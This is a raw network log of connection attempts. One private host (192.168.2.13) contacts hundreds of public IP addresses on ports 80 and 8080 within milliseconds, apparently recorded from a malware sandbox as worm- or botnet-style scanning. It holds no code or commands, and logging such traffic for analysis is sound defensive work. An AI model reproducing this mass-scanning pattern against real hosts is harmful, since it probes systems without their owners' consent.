Mar 21, 2024 05:16:56.461759090 CET	45394	80	192.168.2.13	213.14.76.160
Mar 21, 2024 05:16:56.461759090 CET	45394	80	192.168.2.13	213.55.81.253
Mar 21, 2024 05:16:56.461776018 CET	45394	80	192.168.2.13	213.44.28.112
Mar 21, 2024 05:16:56.461777925 CET	45394	80	192.168.2.13	213.89.195.15
Mar 21, 2024 05:16:56.461785078 CET	45394	80	192.168.2.13	213.96.31.60
Mar 21, 2024 05:16:56.461788893 CET	45394	80	192.168.2.13	213.44.160.246
Mar 21, 2024 05:16:56.461805105 CET	45394	80	192.168.2.13	213.154.91.47
Mar 21, 2024 05:16:56.461806059 CET	45394	80	192.168.2.13	213.152.205.36
Mar 21, 2024 05:16:56.461807013 CET	45394	80	192.168.2.13	213.27.96.170
Mar 21, 2024 05:16:56.461836100 CET	45394	80	192.168.2.13	213.231.45.245
Mar 21, 2024 05:16:56.461838007 CET	45394	80	192.168.2.13	213.139.179.198
Mar 21, 2024 05:16:56.461852074 CET	45394	80	192.168.2.13	213.116.90.191
Mar 21, 2024 05:16:56.461863995 CET	45394	80	192.168.2.13	213.196.122.97
Mar 21, 2024 05:16:56.461872101 CET	45394	80	192.168.2.13	213.207.195.135
Mar 21, 2024 05:16:56.461872101 CET	45394	80	192.168.2.13	213.98.187.157
Mar 21, 2024 05:16:56.461880922 CET	45394	80	192.168.2.13	213.121.77.60
Mar 21, 2024 05:16:56.461904049 CET	45394	80	192.168.2.13	213.67.65.193
Mar 21, 2024 05:16:56.461918116 CET	45394	80	192.168.2.13	213.247.10.32
Mar 21, 2024 05:16:56.461926937 CET	45394	80	192.168.2.13	213.187.3.24
Mar 21, 2024 05:16:56.461955070 CET	45394	80	192.168.2.13	213.56.197.233
Mar 21, 2024 05:16:56.461962938 CET	45394	80	192.168.2.13	213.46.205.180
Mar 21, 2024 05:16:56.461962938 CET	45394	80	192.168.2.13	213.145.228.223
Mar 21, 2024 05:16:56.462029934 CET	45394	80	192.168.2.13	213.71.184.46
Mar 21, 2024 05:16:56.462029934 CET	45394	80	192.168.2.13	213.169.177.54
Mar 21, 2024 05:16:56.462032080 CET	45394	80	192.168.2.13	213.120.55.113
Mar 21, 2024 05:16:56.462035894 CET	45394	80	192.168.2.13	213.4.129.87
Mar 21, 2024 05:16:56.462043047 CET	45394	80	192.168.2.13	213.173.98.194
Mar 21, 2024 05:16:56.462043047 CET	45394	80	192.168.2.13	213.175.253.111
Mar 21, 2024 05:16:56.462069988 CET	45394	80	192.168.2.13	213.40.124.142
Mar 21, 2024 05:16:56.462085009 CET	45394	80	192.168.2.13	213.134.54.44
Mar 21, 2024 05:16:56.462088108 CET	45394	80	192.168.2.13	213.236.113.217
Mar 21, 2024 05:16:56.462095022 CET	45394	80	192.168.2.13	213.178.141.214
Mar 21, 2024 05:16:56.462095022 CET	45394	80	192.168.2.13	213.114.125.41
Mar 21, 2024 05:16:56.462095976 CET	45394	80	192.168.2.13	213.213.19.171
Mar 21, 2024 05:16:56.462126017 CET	45394	80	192.168.2.13	213.11.188.177
Mar 21, 2024 05:16:56.462126970 CET	45394	80	192.168.2.13	213.254.150.223
Mar 21, 2024 05:16:56.462132931 CET	45394	80	192.168.2.13	213.240.215.4
Mar 21, 2024 05:16:56.462174892 CET	45394	80	192.168.2.13	213.6.89.195
Mar 21, 2024 05:16:56.462177038 CET	45394	80	192.168.2.13	213.126.47.54
Mar 21, 2024 05:16:56.462188005 CET	45394	80	192.168.2.13	213.247.232.223
Mar 21, 2024 05:16:56.462209940 CET	45394	80	192.168.2.13	213.128.2.4
Mar 21, 2024 05:16:56.462213039 CET	45394	80	192.168.2.13	213.147.170.143
Mar 21, 2024 05:16:56.462213039 CET	45394	80	192.168.2.13	213.23.205.206
Mar 21, 2024 05:16:56.462227106 CET	45394	80	192.168.2.13	213.139.45.168
Mar 21, 2024 05:16:56.462238073 CET	45394	80	192.168.2.13	213.33.48.61
Mar 21, 2024 05:16:56.462243080 CET	45394	80	192.168.2.13	213.141.13.41
Mar 21, 2024 05:16:56.462272882 CET	45394	80	192.168.2.13	213.59.149.134
Mar 21, 2024 05:16:56.462299109 CET	45394	80	192.168.2.13	213.197.192.21
Mar 21, 2024 05:16:56.462308884 CET	45394	80	192.168.2.13	213.54.33.104
Mar 21, 2024 05:16:56.462323904 CET	45394	80	192.168.2.13	213.100.138.193
Mar 21, 2024 05:16:56.462335110 CET	45394	80	192.168.2.13	213.5.172.178
Mar 21, 2024 05:16:56.462337017 CET	45394	80	192.168.2.13	213.100.4.150
Mar 21, 2024 05:16:56.462344885 CET	45394	80	192.168.2.13	213.137.33.7
Mar 21, 2024 05:16:56.462348938 CET	45394	80	192.168.2.13	213.198.54.83
Mar 21, 2024 05:16:56.462356091 CET	45394	80	192.168.2.13	213.43.105.97
Mar 21, 2024 05:16:56.462357998 CET	45394	80	192.168.2.13	213.90.251.253
Mar 21, 2024 05:16:56.462368965 CET	45394	80	192.168.2.13	213.105.223.22
Mar 21, 2024 05:16:56.462399960 CET	45394	80	192.168.2.13	213.10.98.247
Mar 21, 2024 05:16:56.462399960 CET	45394	80	192.168.2.13	213.229.15.33
Mar 21, 2024 05:16:56.462419033 CET	45394	80	192.168.2.13	213.161.3.57
Mar 21, 2024 05:16:56.462445974 CET	45394	80	192.168.2.13	213.128.106.7
Mar 21, 2024 05:16:56.462506056 CET	45394	80	192.168.2.13	213.38.179.176
Mar 21, 2024 05:16:56.462507963 CET	45394	80	192.168.2.13	213.30.200.252
Mar 21, 2024 05:16:56.462512970 CET	45394	80	192.168.2.13	213.246.11.106
Mar 21, 2024 05:16:56.462512970 CET	45394	80	192.168.2.13	213.113.153.204
Mar 21, 2024 05:16:56.462515116 CET	45394	80	192.168.2.13	213.33.225.7
Mar 21, 2024 05:16:56.462527037 CET	45394	80	192.168.2.13	213.207.255.188
Mar 21, 2024 05:16:56.462559938 CET	45394	80	192.168.2.13	213.181.189.197
Mar 21, 2024 05:16:56.462569952 CET	45394	80	192.168.2.13	213.24.99.94
Mar 21, 2024 05:16:56.462579012 CET	45394	80	192.168.2.13	213.233.69.125
Mar 21, 2024 05:16:56.462604046 CET	45394	80	192.168.2.13	213.251.45.40
Mar 21, 2024 05:16:56.462608099 CET	45394	80	192.168.2.13	213.40.90.160
Mar 21, 2024 05:16:56.462620974 CET	45394	80	192.168.2.13	213.224.69.243
Mar 21, 2024 05:16:56.462624073 CET	45394	80	192.168.2.13	213.51.61.163
Mar 21, 2024 05:16:56.462627888 CET	45394	80	192.168.2.13	213.194.206.184
Mar 21, 2024 05:16:56.462666035 CET	45394	80	192.168.2.13	213.103.73.45
Mar 21, 2024 05:16:56.462671995 CET	45394	80	192.168.2.13	213.196.119.202
Mar 21, 2024 05:16:56.462677002 CET	45394	80	192.168.2.13	213.133.137.61
Mar 21, 2024 05:16:56.462677002 CET	45394	80	192.168.2.13	213.255.27.191
Mar 21, 2024 05:16:56.462688923 CET	45394	80	192.168.2.13	213.32.248.53
Mar 21, 2024 05:16:56.462697029 CET	45394	80	192.168.2.13	213.60.105.226
Mar 21, 2024 05:16:56.462697029 CET	45394	80	192.168.2.13	213.17.255.252
Mar 21, 2024 05:16:56.462702036 CET	45394	80	192.168.2.13	213.244.166.108
Mar 21, 2024 05:16:56.462718010 CET	45394	80	192.168.2.13	213.116.166.128
Mar 21, 2024 05:16:56.462728024 CET	45394	80	192.168.2.13	213.236.182.201
Mar 21, 2024 05:16:56.462748051 CET	45394	80	192.168.2.13	213.1.93.117
Mar 21, 2024 05:16:56.462754965 CET	45394	80	192.168.2.13	213.238.49.199
Mar 21, 2024 05:16:56.462775946 CET	45394	80	192.168.2.13	213.31.137.252
Mar 21, 2024 05:16:56.462798119 CET	45394	80	192.168.2.13	213.36.112.229
Mar 21, 2024 05:16:56.462824106 CET	45394	80	192.168.2.13	213.34.91.158
Mar 21, 2024 05:16:56.462833881 CET	45394	80	192.168.2.13	213.55.38.61
Mar 21, 2024 05:16:56.462833881 CET	45394	80	192.168.2.13	213.24.38.73
Mar 21, 2024 05:16:56.462833881 CET	45394	80	192.168.2.13	213.97.184.11
Mar 21, 2024 05:16:56.462855101 CET	45394	80	192.168.2.13	213.160.246.241
Mar 21, 2024 05:16:56.462879896 CET	45394	80	192.168.2.13	213.125.202.207
Mar 21, 2024 05:16:56.462879896 CET	45394	80	192.168.2.13	213.55.221.201
Mar 21, 2024 05:16:56.462934017 CET	45394	80	192.168.2.13	213.17.94.166
Mar 21, 2024 05:16:56.462934017 CET	45394	80	192.168.2.13	213.20.0.230
Mar 21, 2024 05:16:56.462938070 CET	45394	80	192.168.2.13	213.140.130.86
Mar 21, 2024 05:16:56.462939024 CET	45394	80	192.168.2.13	213.188.167.200
Mar 21, 2024 05:16:56.462938070 CET	45394	80	192.168.2.13	213.3.63.198
Mar 21, 2024 05:16:56.462941885 CET	45394	80	192.168.2.13	213.69.54.169
Mar 21, 2024 05:16:56.462943077 CET	45394	80	192.168.2.13	213.153.217.41
Mar 21, 2024 05:16:56.462963104 CET	45394	80	192.168.2.13	213.115.199.100
Mar 21, 2024 05:16:56.462984085 CET	45394	80	192.168.2.13	213.211.108.141
Mar 21, 2024 05:16:56.462995052 CET	45394	80	192.168.2.13	213.252.221.244
Mar 21, 2024 05:16:56.463006973 CET	45394	80	192.168.2.13	213.25.155.101
Mar 21, 2024 05:16:56.463011026 CET	45394	80	192.168.2.13	213.177.178.134
Mar 21, 2024 05:16:56.463021040 CET	45394	80	192.168.2.13	213.215.138.121
Mar 21, 2024 05:16:56.463036060 CET	45394	80	192.168.2.13	213.142.212.100
Mar 21, 2024 05:16:56.463056087 CET	45394	80	192.168.2.13	213.185.174.10
Mar 21, 2024 05:16:56.463057041 CET	45394	80	192.168.2.13	213.73.114.64
Mar 21, 2024 05:16:56.463073015 CET	45394	80	192.168.2.13	213.250.242.239
Mar 21, 2024 05:16:56.463152885 CET	45394	80	192.168.2.13	213.207.119.190
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.176.211.207
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.24.80.218
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.95.86.255
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.174.45.50
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.166.233.48
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.226.88.166
Mar 21, 2024 05:16:56.463156939 CET	45394	80	192.168.2.13	213.90.193.182
Mar 21, 2024 05:16:56.463175058 CET	45394	80	192.168.2.13	213.198.101.36
Mar 21, 2024 05:16:56.463175058 CET	45394	80	192.168.2.13	213.10.7.242
Mar 21, 2024 05:16:56.463177919 CET	45394	80	192.168.2.13	213.26.68.124
Mar 21, 2024 05:16:56.463201046 CET	45394	80	192.168.2.13	213.152.150.35
Mar 21, 2024 05:16:56.463212013 CET	45394	80	192.168.2.13	213.151.117.3
Mar 21, 2024 05:16:56.463217020 CET	45394	80	192.168.2.13	213.18.235.250
Mar 21, 2024 05:16:56.463253975 CET	45394	80	192.168.2.13	213.237.21.108
Mar 21, 2024 05:16:56.463253975 CET	45394	80	192.168.2.13	213.224.163.211
Mar 21, 2024 05:16:56.463257074 CET	45394	80	192.168.2.13	213.62.84.210
Mar 21, 2024 05:16:56.463272095 CET	45394	80	192.168.2.13	213.133.21.189
Mar 21, 2024 05:16:56.463298082 CET	45394	80	192.168.2.13	213.55.252.104
Mar 21, 2024 05:16:56.463301897 CET	45394	80	192.168.2.13	213.14.76.122
Mar 21, 2024 05:16:56.463311911 CET	45394	80	192.168.2.13	213.3.46.213
Mar 21, 2024 05:16:56.463341951 CET	45394	80	192.168.2.13	213.98.217.179
Mar 21, 2024 05:16:56.463352919 CET	45394	80	192.168.2.13	213.125.243.110
Mar 21, 2024 05:16:56.463355064 CET	45394	80	192.168.2.13	213.199.199.69
Mar 21, 2024 05:16:56.463365078 CET	45394	80	192.168.2.13	213.115.203.112
Mar 21, 2024 05:16:56.463382959 CET	45394	80	192.168.2.13	213.157.55.20
Mar 21, 2024 05:16:56.463385105 CET	45394	80	192.168.2.13	213.81.41.173
Mar 21, 2024 05:16:56.463424921 CET	45394	80	192.168.2.13	213.168.185.74
Mar 21, 2024 05:16:56.463448048 CET	45394	80	192.168.2.13	213.41.23.154
Mar 21, 2024 05:16:56.463450909 CET	45394	80	192.168.2.13	213.126.45.98
Mar 21, 2024 05:16:56.463474035 CET	45394	80	192.168.2.13	213.59.48.43
Mar 21, 2024 05:16:56.463480949 CET	45394	80	192.168.2.13	213.201.46.92
Mar 21, 2024 05:16:56.463480949 CET	45394	80	192.168.2.13	213.194.124.225
Mar 21, 2024 05:16:56.463481903 CET	45394	80	192.168.2.13	213.110.192.178
Mar 21, 2024 05:16:56.463499069 CET	45394	80	192.168.2.13	213.149.11.49
Mar 21, 2024 05:16:56.463516951 CET	45394	80	192.168.2.13	213.53.197.200
Mar 21, 2024 05:16:56.463527918 CET	45394	80	192.168.2.13	213.195.52.145
Mar 21, 2024 05:16:56.463532925 CET	45394	80	192.168.2.13	213.116.168.111
Mar 21, 2024 05:16:56.463556051 CET	45394	80	192.168.2.13	213.44.43.105
Mar 21, 2024 05:16:56.463570118 CET	45394	80	192.168.2.13	213.80.62.148
Mar 21, 2024 05:16:56.463691950 CET	45394	80	192.168.2.13	213.252.120.41
Mar 21, 2024 05:16:56.463720083 CET	45394	80	192.168.2.13	213.68.200.63
Mar 21, 2024 05:16:56.463783026 CET	45394	80	192.168.2.13	213.162.195.209
Mar 21, 2024 05:16:56.463793039 CET	45394	80	192.168.2.13	213.122.39.55
Mar 21, 2024 05:16:56.463799953 CET	45394	80	192.168.2.13	213.15.248.192
Mar 21, 2024 05:16:56.463799953 CET	45394	80	192.168.2.13	213.101.69.114
Mar 21, 2024 05:16:56.463800907 CET	45394	80	192.168.2.13	213.180.125.206
Mar 21, 2024 05:16:56.463823080 CET	45394	80	192.168.2.13	213.64.27.72
Mar 21, 2024 05:16:56.463829041 CET	45394	80	192.168.2.13	213.162.170.81
Mar 21, 2024 05:16:56.463829041 CET	45394	80	192.168.2.13	213.209.136.2
Mar 21, 2024 05:16:56.463840961 CET	45394	80	192.168.2.13	213.231.41.183
Mar 21, 2024 05:16:56.463850975 CET	45394	80	192.168.2.13	213.183.173.94
Mar 21, 2024 05:16:56.463862896 CET	45394	80	192.168.2.13	213.51.77.159
Mar 21, 2024 05:16:56.463890076 CET	45394	80	192.168.2.13	213.219.10.79
Mar 21, 2024 05:16:56.463912010 CET	45394	80	192.168.2.13	213.225.13.230
Mar 21, 2024 05:16:56.463918924 CET	45394	80	192.168.2.13	213.152.196.232
Mar 21, 2024 05:16:56.463918924 CET	45394	80	192.168.2.13	213.73.168.50
Mar 21, 2024 05:16:56.464020967 CET	45394	80	192.168.2.13	213.150.151.5
Mar 21, 2024 05:16:56.464020967 CET	45394	80	192.168.2.13	213.35.19.116
Mar 21, 2024 05:16:56.464020967 CET	45394	80	192.168.2.13	213.231.241.5
Mar 21, 2024 05:16:56.464036942 CET	45394	80	192.168.2.13	213.219.9.234
Mar 21, 2024 05:16:56.464036942 CET	45394	80	192.168.2.13	213.223.68.232
Mar 21, 2024 05:16:56.464036942 CET	45394	80	192.168.2.13	213.102.28.159
Mar 21, 2024 05:16:56.464040041 CET	45394	80	192.168.2.13	213.223.198.225
Mar 21, 2024 05:16:56.464051008 CET	45394	80	192.168.2.13	213.38.244.37
Mar 21, 2024 05:16:56.464051008 CET	45394	80	192.168.2.13	213.90.254.159
Mar 21, 2024 05:16:56.464051008 CET	45394	80	192.168.2.13	213.24.73.62
Mar 21, 2024 05:16:56.464055061 CET	45394	80	192.168.2.13	213.57.215.221
Mar 21, 2024 05:16:56.464143991 CET	45394	80	192.168.2.13	213.234.134.12
Mar 21, 2024 05:16:56.464148045 CET	45394	80	192.168.2.13	213.237.38.33
Mar 21, 2024 05:16:56.464154005 CET	45394	80	192.168.2.13	213.243.131.6
Mar 21, 2024 05:16:56.464153051 CET	45394	80	192.168.2.13	213.151.65.92
Mar 21, 2024 05:16:56.464154005 CET	45394	80	192.168.2.13	213.127.113.147
Mar 21, 2024 05:16:56.464154005 CET	45394	80	192.168.2.13	213.168.227.106
Mar 21, 2024 05:16:56.464174032 CET	45394	80	192.168.2.13	213.183.66.221
Mar 21, 2024 05:16:56.464174986 CET	45394	80	192.168.2.13	213.27.229.5
Mar 21, 2024 05:16:56.464174032 CET	45394	80	192.168.2.13	213.20.44.105
Mar 21, 2024 05:16:56.464174986 CET	45394	80	192.168.2.13	213.23.1.94
Mar 21, 2024 05:16:56.464222908 CET	45394	80	192.168.2.13	213.20.26.144
Mar 21, 2024 05:16:56.464279890 CET	45394	80	192.168.2.13	213.63.200.50
Mar 21, 2024 05:16:56.464287996 CET	45394	80	192.168.2.13	213.109.180.128
Mar 21, 2024 05:16:56.464303017 CET	45394	80	192.168.2.13	213.233.79.66
Mar 21, 2024 05:16:56.464306116 CET	45394	80	192.168.2.13	213.64.84.25
Mar 21, 2024 05:16:56.464306116 CET	45394	80	192.168.2.13	213.62.154.46
Mar 21, 2024 05:16:56.464378119 CET	45394	80	192.168.2.13	213.218.184.237
Mar 21, 2024 05:16:56.464378119 CET	45394	80	192.168.2.13	213.91.188.169
Mar 21, 2024 05:16:56.464378119 CET	45394	80	192.168.2.13	213.168.6.130
Mar 21, 2024 05:16:56.464385986 CET	45394	80	192.168.2.13	213.83.9.25
Mar 21, 2024 05:16:56.464379072 CET	45394	80	192.168.2.13	213.188.109.179
Mar 21, 2024 05:16:56.464386940 CET	45394	80	192.168.2.13	213.136.122.4
Mar 21, 2024 05:16:56.464386940 CET	45394	80	192.168.2.13	213.181.84.203
Mar 21, 2024 05:16:56.464386940 CET	45394	80	192.168.2.13	213.162.78.193
Mar 21, 2024 05:16:56.464410067 CET	45394	80	192.168.2.13	213.201.210.233
Mar 21, 2024 05:16:56.464423895 CET	45394	80	192.168.2.13	213.114.136.227
Mar 21, 2024 05:16:56.464430094 CET	45394	80	192.168.2.13	213.41.127.185
Mar 21, 2024 05:16:56.464430094 CET	45394	80	192.168.2.13	213.128.195.242
Mar 21, 2024 05:16:56.464459896 CET	45394	80	192.168.2.13	213.210.177.189
Mar 21, 2024 05:16:56.464517117 CET	45394	80	192.168.2.13	213.211.238.42
Mar 21, 2024 05:16:56.464521885 CET	45394	80	192.168.2.13	213.16.174.175
Mar 21, 2024 05:16:56.464529037 CET	45394	80	192.168.2.13	213.95.17.119
Mar 21, 2024 05:16:56.464538097 CET	45394	80	192.168.2.13	213.132.201.234
Mar 21, 2024 05:16:56.464553118 CET	45394	80	192.168.2.13	213.83.144.225
Mar 21, 2024 05:16:56.464553118 CET	45394	80	192.168.2.13	213.164.255.134
Mar 21, 2024 05:16:56.464624882 CET	45394	80	192.168.2.13	213.115.118.227
Mar 21, 2024 05:16:56.464627981 CET	45394	80	192.168.2.13	213.181.168.231
Mar 21, 2024 05:16:56.464628935 CET	45394	80	192.168.2.13	213.124.187.208
Mar 21, 2024 05:16:56.464628935 CET	45394	80	192.168.2.13	213.32.159.41
Mar 21, 2024 05:16:56.464664936 CET	45394	80	192.168.2.13	213.66.83.201
Mar 21, 2024 05:16:56.464783907 CET	45394	80	192.168.2.13	213.84.85.36
Mar 21, 2024 05:16:56.464783907 CET	45394	80	192.168.2.13	213.30.9.170
Mar 21, 2024 05:16:56.464826107 CET	45394	80	192.168.2.13	213.27.6.133
Mar 21, 2024 05:16:56.474210024 CET	46162	8080	192.168.2.13	171.24.158.187
Mar 21, 2024 05:16:56.474294901 CET	46162	80	192.168.2.13	212.69.230.184
Mar 21, 2024 05:16:56.474301100 CET	46162	80	192.168.2.13	24.136.122.49
Mar 21, 2024 05:16:56.474312067 CET	46162	80	192.168.2.13	65.204.57.155
Mar 21, 2024 05:16:56.474314928 CET	46162	80	192.168.2.13	63.135.199.191
Mar 21, 2024 05:16:56.474328995 CET	46162	80	192.168.2.13	4.8.228.161
Mar 21, 2024 05:16:56.474375010 CET	46162	80	192.168.2.13	212.145.157.71
Mar 21, 2024 05:16:56.474375010 CET	46162	80	192.168.2.13	212.51.221.234
Mar 21, 2024 05:16:56.474387884 CET	46162	80	192.168.2.13	104.170.176.111
Mar 21, 2024 05:16:56.474391937 CET	46162	80	192.168.2.13	190.30.196.57
Mar 21, 2024 05:16:56.474401951 CET	46162	8080	192.168.2.13	212.231.26.192
Mar 21, 2024 05:16:56.474407911 CET	46162	80	192.168.2.13	86.247.19.21
Mar 21, 2024 05:16:56.474417925 CET	46162	80	192.168.2.13	212.130.222.183
Mar 21, 2024 05:16:56.474431992 CET	46162	80	192.168.2.13	144.163.220.118
Mar 21, 2024 05:16:56.474448919 CET	46162	80	192.168.2.13	212.175.248.165
Mar 21, 2024 05:16:56.474461079 CET	46162	80	192.168.2.13	212.103.113.105
Mar 21, 2024 05:16:56.474467039 CET	46162	80	192.168.2.13	212.160.56.246
Mar 21, 2024 05:16:56.474483967 CET	46162	80	192.168.2.13	32.32.95.232
Mar 21, 2024 05:16:56.474484921 CET	46162	80	192.168.2.13	212.88.205.195
Mar 21, 2024 05:16:56.474487066 CET	46162	80	192.168.2.13	212.144.120.227
Mar 21, 2024 05:16:56.474510908 CET	46162	80	192.168.2.13	212.116.54.221
Mar 21, 2024 05:16:56.474513054 CET	46162	8080	192.168.2.13	169.233.28.189
Mar 21, 2024 05:16:56.474514961 CET	46162	80	192.168.2.13	190.89.138.125
Mar 21, 2024 05:16:56.474520922 CET	46162	80	192.168.2.13	155.231.133.49
Mar 21, 2024 05:16:56.474533081 CET	46162	80	192.168.2.13	212.111.214.145
Mar 21, 2024 05:16:56.474536896 CET	46162	80	192.168.2.13	212.2.177.176
Mar 21, 2024 05:16:56.474536896 CET	46162	80	192.168.2.13	212.9.144.197
Mar 21, 2024 05:16:56.474549055 CET	46162	80	192.168.2.13	149.180.164.253
Mar 21, 2024 05:16:56.474560022 CET	46162	80	192.168.2.13	146.88.64.136
Mar 21, 2024 05:16:56.474570990 CET	46162	80	192.168.2.13	223.190.241.73
Mar 21, 2024 05:16:56.474586010 CET	46162	8080	192.168.2.13	167.20.130.204
Mar 21, 2024 05:16:56.474586964 CET	46162	80	192.168.2.13	212.235.30.240
Mar 21, 2024 05:16:56.474592924 CET	46162	80	192.168.2.13	212.76.228.242
Mar 21, 2024 05:16:56.474596024 CET	46162	80	192.168.2.13	212.78.183.246
Mar 21, 2024 05:16:56.474615097 CET	46162	80	192.168.2.13	70.132.132.141
Mar 21, 2024 05:16:56.474621058 CET	46162	80	192.168.2.13	169.53.138.74
Mar 21, 2024 05:16:56.474625111 CET	46162	80	192.168.2.13	51.23.37.171
Mar 21, 2024 05:16:56.474628925 CET	46162	80	192.168.2.13	66.85.212.159
Mar 21, 2024 05:16:56.474631071 CET	46162	80	192.168.2.13	212.139.152.238
Mar 21, 2024 05:16:56.474637985 CET	46162	80	192.168.2.13	212.129.70.33
Mar 21, 2024 05:16:56.474638939 CET	46162	8080	192.168.2.13	118.158.253.112
Mar 21, 2024 05:16:56.474663973 CET	46162	80	192.168.2.13	136.170.117.202
Mar 21, 2024 05:16:56.474664927 CET	46162	80	192.168.2.13	134.217.135.238
Mar 21, 2024 05:16:56.474664927 CET	46162	80	192.168.2.13	191.232.52.13
Mar 21, 2024 05:16:56.474664927 CET	46162	80	192.168.2.13	212.95.38.251
Mar 21, 2024 05:16:56.474673033 CET	46162	80	192.168.2.13	106.16.211.131
Mar 21, 2024 05:16:56.474692106 CET	46162	80	192.168.2.13	212.241.244.45
Mar 21, 2024 05:16:56.474695921 CET	46162	80	192.168.2.13	212.72.75.113
Mar 21, 2024 05:16:56.474703074 CET	46162	80	192.168.2.13	212.124.91.185
Mar 21, 2024 05:16:56.474709988 CET	46162	80	192.168.2.13	182.11.239.50
Mar 21, 2024 05:16:56.474725008 CET	46162	8080	192.168.2.13	129.202.19.253
Mar 21, 2024 05:16:56.474729061 CET	46162	80	192.168.2.13	212.181.95.108
Mar 21, 2024 05:16:56.474744081 CET	46162	80	192.168.2.13	212.27.83.148
Mar 21, 2024 05:16:56.474745989 CET	46162	80	192.168.2.13	34.228.21.211
Mar 21, 2024 05:16:56.474746943 CET	46162	80	192.168.2.13	212.75.95.202
Mar 21, 2024 05:16:56.474759102 CET	46162	80	192.168.2.13	53.230.202.125
Mar 21, 2024 05:16:56.474772930 CET	46162	80	192.168.2.13	212.57.206.92
Mar 21, 2024 05:16:56.474781036 CET	46162	80	192.168.2.13	212.41.38.215
Mar 21, 2024 05:16:56.474785089 CET	46162	80	192.168.2.13	212.105.8.71
Mar 21, 2024 05:16:56.474786043 CET	46162	80	192.168.2.13	201.79.141.112
Mar 21, 2024 05:16:56.474786043 CET	46162	8080	192.168.2.13	39.174.38.42
Mar 21, 2024 05:16:56.474802971 CET	46162	80	192.168.2.13	52.226.235.130
Mar 21, 2024 05:16:56.474806070 CET	46162	80	192.168.2.13	212.62.36.124
Mar 21, 2024 05:16:56.474812984 CET	46162	80	192.168.2.13	64.83.186.37
Mar 21, 2024 05:16:56.474823952 CET	46162	80	192.168.2.13	132.232.239.60
Mar 21, 2024 05:16:56.474823952 CET	46162	80	192.168.2.13	212.20.204.118
Mar 21, 2024 05:16:56.474832058 CET	46162	80	192.168.2.13	212.71.110.15
Mar 21, 2024 05:16:56.474838972 CET	46162	80	192.168.2.13	102.32.69.214
Mar 21, 2024 05:16:56.474850893 CET	46162	80	192.168.2.13	5.148.4.216
Mar 21, 2024 05:16:56.474862099 CET	46162	80	192.168.2.13	148.131.107.90
Mar 21, 2024 05:16:56.474864960 CET	46162	80	192.168.2.13	165.208.235.93
Mar 21, 2024 05:16:56.474864960 CET	46162	80	192.168.2.13	212.155.222.48
Mar 21, 2024 05:16:56.474873066 CET	46418	80	192.168.2.13	250.219.31.50
Mar 21, 2024 05:16:56.474886894 CET	46162	80	192.168.2.13	13.144.218.43
Mar 21, 2024 05:16:56.474886894 CET	46162	8080	192.168.2.13	212.89.225.74
Mar 21, 2024 05:16:56.474886894 CET	46162	80	192.168.2.13	212.59.153.147
Mar 21, 2024 05:16:56.474895954 CET	46162	80	192.168.2.13	203.68.121.65
Mar 21, 2024 05:16:56.474895954 CET	46162	80	192.168.2.13	212.93.240.64
Mar 21, 2024 05:16:56.474899054 CET	46162	80	192.168.2.13	212.16.65.234
Mar 21, 2024 05:16:56.474914074 CET	46418	80	192.168.2.13	41.133.167.50
Mar 21, 2024 05:16:56.474914074 CET	46162	80	192.168.2.13	212.187.236.140
Mar 21, 2024 05:16:56.474919081 CET	46162	80	192.168.2.13	75.161.208.75
Mar 21, 2024 05:16:56.474921942 CET	46162	8080	192.168.2.13	98.180.187.100
Mar 21, 2024 05:16:56.474925995 CET	46162	80	192.168.2.13	212.0.28.200
Mar 21, 2024 05:16:56.474926949 CET	46162	80	192.168.2.13	212.116.82.98
Mar 21, 2024 05:16:56.474935055 CET	46162	80	192.168.2.13	212.229.202.118
Mar 21, 2024 05:16:56.474944115 CET	46162	80	192.168.2.13	212.55.170.83
Mar 21, 2024 05:16:56.474945068 CET	46418	80	192.168.2.13	52.153.234.116
Mar 21, 2024 05:16:56.474946022 CET	46162	80	192.168.2.13	212.111.91.189
Mar 21, 2024 05:16:56.474951982 CET	46162	80	192.168.2.13	212.134.157.137
Mar 21, 2024 05:16:56.474958897 CET	46162	80	192.168.2.13	212.253.242.172
Mar 21, 2024 05:16:56.474958897 CET	46162	80	192.168.2.13	50.130.8.6
Mar 21, 2024 05:16:56.474961042 CET	46162	80	192.168.2.13	31.43.5.41
Mar 21, 2024 05:16:56.474961042 CET	46162	80	192.168.2.13	212.142.1.184
Mar 21, 2024 05:16:56.474961042 CET	46162	8080	192.168.2.13	212.185.167.101
Mar 21, 2024 05:16:56.474961042 CET	46162	80	192.168.2.13	212.253.112.25
Mar 21, 2024 05:16:56.474962950 CET	46162	80	192.168.2.13	213.181.90.253
Mar 21, 2024 05:16:56.474976063 CET	46162	80	192.168.2.13	212.56.95.149
Mar 21, 2024 05:16:56.474982977 CET	46162	80	192.168.2.13	81.47.227.35
Mar 21, 2024 05:16:56.474993944 CET	46162	80	192.168.2.13	212.212.45.134
Mar 21, 2024 05:16:56.475012064 CET	46162	80	192.168.2.13	212.16.73.196
Mar 21, 2024 05:16:56.475013018 CET	46162	80	192.168.2.13	100.211.92.47
Mar 21, 2024 05:16:56.475013018 CET	46162	8080	192.168.2.13	101.59.42.144
Mar 21, 2024 05:16:56.475013018 CET	46162	80	192.168.2.13	212.161.149.99
Mar 21, 2024 05:16:56.475022078 CET	46418	80	192.168.2.13	117.159.133.175
Mar 21, 2024 05:16:56.475028992 CET	46162	80	192.168.2.13	195.229.225.29
Mar 21, 2024 05:16:56.475028992 CET	46418	80	192.168.2.13	255.75.25.65
Mar 21, 2024 05:16:56.475037098 CET	46162	80	192.168.2.13	212.181.73.252
Mar 21, 2024 05:16:56.475037098 CET	46162	80	192.168.2.13	212.37.38.234
Mar 21, 2024 05:16:56.475091934 CET	46162	80	192.168.2.13	212.66.54.83
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	89.202.56.49
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	30.133.54.72
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	4.117.255.200
Mar 21, 2024 05:16:56.475092888 CET	46162	80	192.168.2.13	195.148.14.90
Mar 21, 2024 05:16:56.475092888 CET	46162	80	192.168.2.13	50.86.76.171
Mar 21, 2024 05:16:56.475092888 CET	46162	80	192.168.2.13	108.86.48.83
